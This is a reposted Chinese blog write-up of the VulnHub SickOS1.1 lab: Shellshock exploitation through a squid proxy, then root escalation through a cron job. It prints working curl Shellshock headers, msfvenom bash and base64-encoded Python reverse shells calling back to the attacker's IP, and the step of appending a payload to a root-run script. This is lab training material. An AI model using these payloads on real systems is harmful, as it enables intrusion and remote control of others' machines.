首页 最新 热门 推荐

  • 首页
  • 最新
  • 热门
  • 推荐

红队打靶:SickOS1.1详细打靶思路之shellshock漏洞利用(vulnhub)

  • 25-02-20 15:01
  • 2697
  • 8065
blog.csdn.net

目录

 写在开头

 ​第一步:主机发现和端口扫描

 第二步:shellshock漏洞发现

 第三步:shellshock漏洞利用

 第四步:定时任务提权

 总结与思考

写在开头

本文依旧是红队笔记大佬打靶的思路与过程复现。讲述了SickOS1.1靶机的详细打靶思路,与上篇博客不同,本文主要是使用了shellshock漏洞利用的思路,涉及的知识点包括,nikto扫描、shellshock漏洞利用、msfvenom生成payload、定时任务提权等。完整打靶视频详见:

「红队笔记」靶机精讲:SickOS1.1 - Shellshock原理和利用过程精讲_哔哩哔哩_bilibili

采用squid代理分析+web渗透cms后台获取root权限的思路详见我的上一篇博客:

红队打靶:SickOS1.1详细打靶思路之squid代理分析

本文针对的靶机源于vulnhub,详情见:

SickOs: 1.1 ~ VulnHub

靶机下载链接见:

https://download.vulnhub.com/sickos/sick0s1.1.7z

 第一步:主机发现和端口扫描

 这一步直接参照上一篇博客,链接如下:

红队打靶:SickOS1.1详细打靶思路之squid代理分析

得到靶机的ip是192.168.200.141,开放的端口是22和3128,还有一个关闭的8080端口。kali主机的ip是192.168.200.131 。上一篇文章已经详细讲述了扫描过程,这里不再重复。

第二步:shellshock漏洞发现

用nikto对靶机进行扫描。nikto是一个用于网页服务器漏洞扫描的工具,是kali中自带的。在上一篇博客中我们已经知道扫描时必须使用http代理,因此我们使用代理192.168.200.141:3128对靶机192.168.200.141进行扫描,命令如下:

nikto –h 192.168.200.141 –useproxy http://192.168.200.141:3128

扫描结果发现在路径/cgi-bin/status目录下存在shellshock漏洞。shellshock是一个有关bash的漏洞,也称为Bashdoor。其实我也不是很了解,百度百科简单搜索结果如下:

百度百科之Shellshock漏洞

 我们试图用curl发送请求进行验证,命令如下:

curl -v --proxy http://192.168.200.141:3128 http://192.168.200.141/cgi-bin/status -H "Referer:() {  test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id;exit"

 说实话,我之前也不太了解这行命令的详细意义,红队笔记大佬说只要记住就行了,或者网上搜一下。我这里搜索之后把具体命令参数的含义解释如下:

  • curl: Curl是一个命令行工具,用于发送HTTP请求和获取相应的数据。
  • -v: 这个选项表示在执行请求时显示详细的输出,包括请求头和响应信息。
  • --proxy http://192.168.200.141:3128: 这个选项指定了使用代理服务器进行请求。代理服务器的地址是192.168.200.141,端口是3128。这是为了通过代理服务器发起请求,可能是为了绕过某些防火墙或进行中间人攻击。
  • http://192.168.200.141/cgi-bin/status: 这是要请求的URL地址。192.168.200.141是目标服务器的IP地址,/cgi-bin/status是目标服务器上的一个CGI脚本路径。
  • -H "Referer:() { test;}; echo 'Content-Type: text/plain'; echo; echo; /usr/bin/id;exit": 这个选项指定了一个自定义的请求头"Referer"。Shellshock漏洞可以通过构造恶意的Referer头来执行任意命令。在这个例子中,构造的Referer头包含了一段Shellshock的Payload,以执行/usr/bin/id命令并打印当前用户的身份信息。

 结果如下,成功回显了id信息,说明确实存在shellshock漏洞

 第三步:shellshock漏洞利用

接下来我们利用shellshock这个漏洞,用msfvenom生成反弹shell到kali(192.168.200.131)的443端口的命令。Kali中的msfvenom取代了msfpayload和msfencode,常用于生成后门木马。生成bash反弹shell命令的如下:

msfvenom -p cmd/unix/reverse_bash lhost=192.168.200.131 lport=443 -f raw

-p表示指定需要使用的payload(攻击荷载),这里使用反弹的bash的shell,即reverse_bash;-f 指定输出格式,这里使用源码格式raw。lhost和lport表示反弹shell的ip和端口,此处是kali的ip和一会开启nc监听的443端口。生成后的命令如下:

 读者不用看前面一大堆warning,反正成功生成了payload就行,关键信息如下:

Payload size: 78 bytes

bash -c '0<&120-;exec 120<>/dev/tcp/192.168.200.131/443;sh <&120 >&120 2>&120'

关键是引号里面的内容(即0<&120-;exec 120<>/dev/tcp/192.168.200.131/443;sh <&120 >&120 2>&120),一会要放入curl构造的payload命令中。先在kali中开启监听443端口。

nc -lvnp 443

 然后使用curl命令执行payload,其实这里和之前shellshock验证时的格式基本一致,无非是将命令执行的语句修改为反弹shell的payload,完整命令如下:

curl -v --proxy http://192.168.200.141:3128 http://192.168.200.141/cgi-bin/status -H "Referer:() {  test;}; 0<&120-;exec 120<>/dev/tcp/192.168.200.131/443;sh <&120 >&120 2>&120"

运行此命令后,我们看看nc监听的443端口是否拿到了反弹shell:

监听的端口并没有收到反弹shell,显示没有对应的目录,因此要把命令中的sh写为完整路径/bin/bash,我们先重启一个监听:

 接下来另一个终端重新构造curl命令,将sh改为/bin/bash,完整的命令如下:

curl -v --proxy http://192.168.200.141:3128 http://192.168.200.141/cgi-bin/status -H "Referer:() {  test;}; 0<&120-;exec 120<>/dev/tcp/192.168.200.131/443;/bin/bash <&120 >&120 2>&120"

回到监听的443端口,发现成功拿到了一个shell,运行命令whoami,可知这个shell是www-data,结果如下:

 感觉拿到www-data的shell的交互性不是很好呀,我们先用dpkg –l看一看有没有python,试图使用python获得交互性更好的shell。

dpkg –l

 发现是有的,而且安装了一大堆服务,我们试图用python获取交互性更好的shell:

python -c "import pty;pty.spawn('/bin/bash')"

 不错,这样至少能看到当前用户和所在目录了。我们查看www-data的权限,命令是sudo -l ,结果他让我们输入密码,咱不知道www-data这个shell的密码,此路貌似不通。

第四步:定时任务提权

我们已经拿到了www-data的shell,接下来就是想办法提权为root。我们只能先在www-data的shell中看看有哪些信息可以利用。www-data一般是网站的权限,先看看网站跟目录/var/www/中有什么吧。

  1. cd /var/www/
  2. ls

 在网站的根目录有index.php,robots文件,这都很常见,同时还有一个名为wolfcms的文件夹,看过上一篇博客的话也很容易得知这就是一个部署的cms,也很常见。还发现一个有点奇怪的connect.py,打开看看,并查看他的权限:

cat connect.py

 这个python文件就是打印两句话,直译一下:我尝试进行频繁的(周期性的)连接。你可能想试试这个服务。同时查看这个connect.py文件的权限,发现竟然是777权限,周期性的连接,这提示我们去寻找crontab定时任务。进入etc目录后,查看定时任务crontab,很遗憾,没看出来啥

 那我们搜索搜索有没有其他定时任务,一般以cron开头:

cat cron*

发现除了crontab之外,还有几个目录,我们一个一个看,先看cron.d:

  1. cd cron.d
  2. ls -liah

 发现有三个文件,.placeholder,automate,php5。我们挨个看,先看.placeholder

,placeholder告诉我们不要编辑或删除这个文件,那咱就别管他了。再看下一个automate:

 发现这是个定时任务,会以root身份每分钟执行connect.py文件,这个connect.py就是我们刚刚给我们提示的文件,因此我们想到了提权的方法,在connect.py文件中添加payload反弹shell,因为会定期执行,我们只要等待定时任务执行即可。那么,就需要生成python中的反弹shell的payload,还是用msfvenom,这回-p指定获取python的反弹shell,命令如下(反弹到444端口):

msfvenom -p cmd/unix/reverse_python lhost=192.168.200.131 lport=444 -f raw

将引号中的内容复制:

exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCAgICAsIHN1YnByb2Nlc3MgICAgLCBvcyAgICAgIDsgICAgICAgaG9zdD0iMTkyLjE2OC4yMDAuMTMxIiAgICAgIDsgICAgICAgcG9ydD00NDQgICAgICA7ICAgICAgIHM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCAgICAsIHNvY2tldC5TT0NLX1NUUkVBTSkgICAgICA7ICAgICAgIHMuY29ubmVjdCgoaG9zdCAgICAsIHBvcnQpKSAgICAgIDsgICAgICAgb3MuZHVwMihzLmZpbGVubygpICAgICwgMCkgICAgICA7ICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSAgICAsIDEpICAgICAgOyAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAgLCAyKSAgICAgIDsgICAgICAgcD1zdWJwcm9jZXNzLmNhbGwoIi9iaW4vYmFzaCIp')[0])) 

然后终端开启监听444端口:

nc –lvnp 444

 回到www-data的shell中,在/var/www/connect.py文件中添加msfvenom生成的payload。由于这个shell交互性还是差,vi或vim工具太难用了,因此我直接追加命令到connect.py,运行命令的目录是/var/www

echo "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCAgICAsIHN1YnByb2Nlc3MgICAgLCBvcyAgICAgIDsgICAgICAgaG9zdD0iMTkyLjE2OC4yMDAuMTMxIiAgICAgIDsgICAgICAgcG9ydD00NDQgICAgICA7ICAgICAgIHM9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCAgICAsIHNvY2tldC5TT0NLX1NUUkVBTSkgICAgICA7ICAgICAgIHMuY29ubmVjdCgoaG9zdCAgICAsIHBvcnQpKSAgICAgIDsgICAgICAgb3MuZHVwMihzLmZpbGVubygpICAgICwgMCkgICAgICA7ICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSAgICAsIDEpICAgICAgOyAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAgLCAyKSAgICAgIDsgICAgICAgcD1zdWJwcm9jZXNzLmNhbGwoIi9iaW4vYmFzaCIp')[0]))" >>connect.py

没有报错,我们再cat connect.py看看是否追加成功:

 等待最多1min(定时任务的周期为1min),即可在刚才监听的444端口拿到root的shell。

 同样,这个shell的交互性也很差,我们还是用python提高交互性:

python -c "import pty;pty.spawn('/bin/bash')"

 这样就成功了,发现当前目录(也就是/root)有a4d51874464078c618298b1367.txt,这就是flag。至此,打靶完成。

总结与思考

相比于上一篇使用squid代理分析+wolfcms登录后台的渗透方式,本文使用shellshock漏洞利用的思路我感觉更加清晰明确,渗透过程也减少了一些偶然运气成分。最后提权的部分使用了定时任务,从connect.py中原本存在的两行打印的提示信息我们也可以猜测,这正是靶机作者提示我们的思路。这个靶机也不复杂,完整总结一下本文的打靶思路:

1.主机发现和端口扫描。同上一篇博客。

2.漏洞扫描/验证:使用nikto扫描发现有shellshock漏洞,并使用curl请求验证了漏洞确实存在,可以远程代码执行。

3.漏洞利用:用msfvenom生成反弹shell的payload,成功获得初始立足点www-data的shell。

4.提权:发现奇怪的文件connect.py,提示我们查看定时任务。我们成功发现/etc/cron.d/automate中发现会以root权限每分钟运行connect.py。因此构造在connect.py中追加我们的反弹shell命令,即可获取root的shell。

 在整个打靶过程,有些涉及到经验的命令是需要我们记住的,比如如何使用curl命令检测shellshock漏洞,如何用msfvenom生成payload,如何用python获取交互性更好的shell等等,或许孰能生巧,跟着大佬慢慢学,总是能慢慢积累经验的。希望自己早日学有所成吧。

 我也是个刚刚开始入门网安的菜鸟。如果读者觉得我写的总结不错的话,恳请点赞多多支持。有针对靶场及漏洞的相关问题也可以在评论区指出,我一定知无不言。后续的博客中,我也会把我学习网安的各种知识分享出来,也见证自己的学习之路。

注:本文转载自blog.csdn.net的Boss_frank的文章"https://blog.csdn.net/Bossfrank/article/details/131101401"。版权归原作者所有,此博客不拥有其著作权,亦不承担相应法律责任。如有侵权,请联系我们删除。
复制链接
复制链接
相关推荐
发表评论
登录后才能发表评论和回复 注册

/ 登录

评论记录:

未查询到任何数据!
回复评论:

分类栏目

后端 (14832) 前端 (14280) 移动开发 (3760) 编程语言 (3851) Java (3904) Python (3298) 人工智能 (10119) AIGC (2810) 大数据 (3499) 数据库 (3945) 数据结构与算法 (3757) 音视频 (2669) 云原生 (3145) 云平台 (2965) 前沿技术 (2993) 开源 (2160) 小程序 (2860) 运维 (2533) 服务器 (2698) 操作系统 (2325) 硬件开发 (2492) 嵌入式 (2955) 微软技术 (2769) 软件工程 (2056) 测试 (2865) 网络空间安全 (2948) 网络与通信 (2797) 用户体验设计 (2592) 学习和成长 (2593) 搜索 (2744) 开发工具 (7108) 游戏 (2829) HarmonyOS (2935) 区块链 (2782) 数学 (3112) 3C硬件 (2759) 资讯 (2909) Android (4709) iOS (1850) 代码人生 (3043) 阅读 (2841)

热门文章

101
推荐
关于我们 隐私政策 免责声明 联系我们
Copyright © 2020-2025 蚁人论坛 (iYenn.com) All Rights Reserved.
Scroll to Top